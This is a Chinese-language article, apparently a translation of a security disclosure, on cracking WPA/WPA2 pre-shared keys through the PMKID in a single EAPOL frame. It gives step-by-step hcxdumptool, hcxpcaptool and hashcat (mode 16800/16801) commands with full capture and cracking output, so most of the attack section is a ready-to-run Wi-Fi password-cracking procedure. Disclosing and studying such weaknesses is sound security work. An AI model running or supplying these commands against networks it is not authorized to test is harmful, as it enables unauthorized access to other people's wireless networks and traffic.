前言

在这篇文章中，我将介绍一种利用 Hashcat 破解 PMKID，进而破解WPA PSK（预共享密钥）密码的新技术。

工具准备

要实施此种新攻击，您可能需要以下工具：

hcxdumptool v4.2.0或更高版本
hcxtools v4.2.0或更高版本
hashcat v4.2.0或更高版本

攻击概述

我在寻找攻击WPA3安全标准的新方法时，意外发现了这种攻击。由于其先进的密钥建立协议——“SAE”（Simultaneous Authentication of Equals，对等实体同步验证），WPA3将更难被攻击。
与现有攻击的主要区别在于，在此攻击中，不需要捕获完整的EAPOL 4次握手。新攻击在单个EAPOL帧的RSN IE（Robust Security Network Infomation Element，强健安全网络信息元素）上执行。
目前，我们不知道哪种品牌或多少路由器会适用于这种攻击，但我们认为它将适用于所有启用了漫游功能的802.11i/p/q/r网络（现在大多数路由器都具有这种功能）。

这种攻击的主要优点如下：

不再需要常规用户——攻击者直接与AP通信（又称“无客户端”攻击）
不再需要等待普通用户和AP之间的完全4次握手
不再发生EAPOL帧的最终重传（可能导致无法破解的结果）
常规用户不再发送最终的无效密码
当常规用户或AP离攻击者太远时，不会丢失EAPOL帧
不再需要修复nonce和replaycounter值（表现为稍高的传输速度）
没有更多特殊输出格式（pcap，hccapx等）——最终数据将显示为常规十六进制编码字符串

攻击细节

RSN IE是802.11管理帧中的一个可选字段。RSN其中一个参数是PMKID。

PMKID通过使用HMAC-SHA1计算生成，其密钥为PMK，数据部分由固定字符串标签“PMK Name”、接入点MAC地址和站MAC地址组合而成。

PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)

由于PMK与常规EAPOL 4次握手相同，因此是一种理想的攻击向量。
我们可以从AP接收的第一个EAPOL帧中获取所需数据。

攻击复现

1. 运行hcxdumptool，从AP请求PMKID并将收到的帧转储到文件中（存储为pcapng格式）。

$ ./hcxdumptool -o test.pcapng -i wlp39s0f3u4u5 --enable_status

输出：

start capturing (stop with ctrl+c)
INTERFACE:...............: wlp39s0f3u4u5
FILTERLIST...............: 0 entries
MAC CLIENT...............: 89acf0e761f4 (client)
MAC ACCESS POINT.........: 4604ba734d4e (start NIC)
EAPOL TIMEOUT............: 20000
DEAUTHENTICATIONINTERVALL: 10 beacons
GIVE UP DEAUTHENTICATIONS: 20 tries
REPLAYCOUNTER............: 62083
ANONCE...................: 9ddca61888470946305b27d413a28cf474f19ff64c71667e5c1aee144cd70a69

如果AP收到我们的关联请求数据包并支持发送PMKID，我们会在不久后看到一条“FOUND PMKID”消息：

[13:29:57 - 011] 89acf0e761f4 -> 4604ba734d4e <ESSID> [ASSOCIATIONREQUEST, SEQUENCE 4]
[13:29:57 - 011] 4604ba734d4e -> 89acf0e761f4 [ASSOCIATIONRESPONSE, SEQUENCE 1206]
[13:29:57 - 011] 4604ba734d4e -> 89acf0e761f4 [FOUND PMKID]

注意：由于wifi通道上的噪音，可能需要经过一段时间才能收到PMKID。我们建议在终止前最多运行hcxdumptool10分钟。

2. 运行hcxpcaptool将捕获的数据从pcapng格式转换为hashcat可接受的哈希格式。

$ ./hcxpcaptool -z test.16800 test.pcapng

输出：

start reading from test.pcapng

summary:

file name....................: test.pcapng
file type....................: pcapng 1.0
file hardware information....: x86_64
file os information..........: Linux 4.17.11-arch1
file application information.: hcxdumptool 4.2.0
network type.................: DLT_IEEE802_11_RADIO (127)
endianess....................: little endian
read errors..................: flawless
packets inside...............: 66
skipped packets..............: 0
packets with FCS.............: 0
beacons (with ESSID inside)..: 17
probe requests...............: 1
probe responses..............: 11
association requests.........: 5
association responses........: 5
authentications (OPEN SYSTEM): 13
authentications (BROADCOM)...: 1
EAPOL packets................: 14
EAPOL PMKIDs.................: 1

1 PMKID(s) written to test.16800

写入文件的内容会类似于以下的格式：

2582a8281bf9d4308d6f5731d0e61c614604ba734d4e89acf0e761f4*ed487162465a774bfba60eb603a39f3a

这4列分别为（16进制编码过的）：

PMKID
MAC AP
MAC Station
ESSID

注意：虽然不是必需的，但建议使用hcxpcaptool的-E -I和-U参数。我们可以提供这些文件为hashcat所用。它们通常会产生良好的效果。

-E 从WiFi流量中检索可能的密码（此外，此列表将包含ESSID）
-I 从WiFi流量中检索身份
-U 从WiFi流量中检索用户名

$ ./hcxpcaptool -E essidlist -I identitylist -U usernamelist -z test.16800 test.pcapng

3. 运行hashcat进行破解

我们可以像攻击任何其他哈希类型一样攻击这个哈希。我们需要使用的哈希模式是16800。

$ ./hashcat -m 16800 test.16800 -a 3 -w 3 '?l?l?l?l?l?lt!'

输出：

hashcat (v4.2.0) starting...

OpenCL Platform #1: NVIDIA Corporation

• Device #1: GeForce GTX 1080, 2028/8112 MB allocatable, 20MCU
• Device #2: GeForce GTX 1080, 2029/8119 MB allocatable, 20MCU
• Device #3: GeForce GTX 1080, 2029/8119 MB allocatable, 20MCU
• Device #4: GeForce GTX 1080, 2029/8119 MB allocatable, 20MCU

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates

Applicable optimizers:

• Zero-Byte
• Single-Hash
• Single-Salt
• Brute-Force
• Slow-Hash-SIMD-LOOP

Minimum password length supported by kernel: 8
Maximum password length supported by kernel: 63

Watchdog: Temperature abort trigger set to 90c

2582a8281bf9d4308d6f5731d0e61c614604ba734d4e89acf0e761f4*ed487162465a774bfba60eb603a39f3a:hashcat!

Session..........: hashcat
Status...........: Cracked
Hash.Type........: WPA-PMKID-PBKDF2
Hash.Target......: 2582a8281bf9d4308d6f5731d0e61c614604ba734d4e89acf...a39f3a
Time.Started.....: Thu Jul 26 12:51:38 2018 (41 secs)
Time.Estimated...: Thu Jul 26 12:52:19 2018 (0 secs)
Guess.Mask.......: ?l?l?l?l?l?lt! [8]
Guess.Queue......: 1/1 (100.00%)
Speed.Dev.#1.....: 408.9 kH/s (103.86ms) @ Accel:64 Loops:128 Thr:1024 Vec:1
Speed.Dev.#2.....: 408.6 kH/s (104.90ms) @ Accel:64 Loops:128 Thr:1024 Vec:1
Speed.Dev.#3.....: 412.9 kH/s (102.50ms) @ Accel:64 Loops:128 Thr:1024 Vec:1
Speed.Dev.#4.....: 410.9 kH/s (104.66ms) @ Accel:64 Loops:128 Thr:1024 Vec:1
Speed.Dev.#*.....: 1641.3 kH/s
Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
Progress.........: 66846720/308915776 (21.64%)
Rejected.........: 0/66846720 (0.00%)
Restore.Point....: 0/11881376 (0.00%)
Candidates.#1....: hariert! -> hhzkzet!
Candidates.#2....: hdtivst! -> hzxkbnt!
Candidates.#3....: gnxpwet! -> gwqivst!
Candidates.#4....: gxhcddt! -> grjmrut!
HWMon.Dev.#1.....: Temp: 81c Fan: 54% Util: 75% Core:1771MHz Mem:4513MHz Bus:1
HWMon.Dev.#2.....: Temp: 81c Fan: 54% Util:100% Core:1607MHz Mem:4513MHz Bus:1
HWMon.Dev.#3.....: Temp: 81c Fan: 54% Util: 94% Core:1683MHz Mem:4513MHz Bus:1
HWMon.Dev.#4.....: Temp: 81c Fan: 54% Util: 93% Core:1620MHz Mem:4513MHz Bus:1

Started: Thu Jul 26 12:51:30 2018
Stopped: Thu Jul 26 12:52:21 2018

哈希模式16801也同样适用，它允许跳过PMK的计算——这个计算会导致WPA的破解十分缓慢。如果破解情形不是很理想，无法将哈希传输到远程破解装置，这时候预计算PMK将会变得非常有用。预计算PMK的目的就是让您可以用笔记本进行hashcat运算。

哈希模式16801需要一个预计算PMK列表，编码成长度为64的十六进制编码，作为输入列表。要预先计算PMK，可以使用hcxkeys工具。而hcxkeys工具需要ESSID，因此您需要提前从客户端申请ESSID。

文章原文链接:https://www.anquanke.com/post/id/154286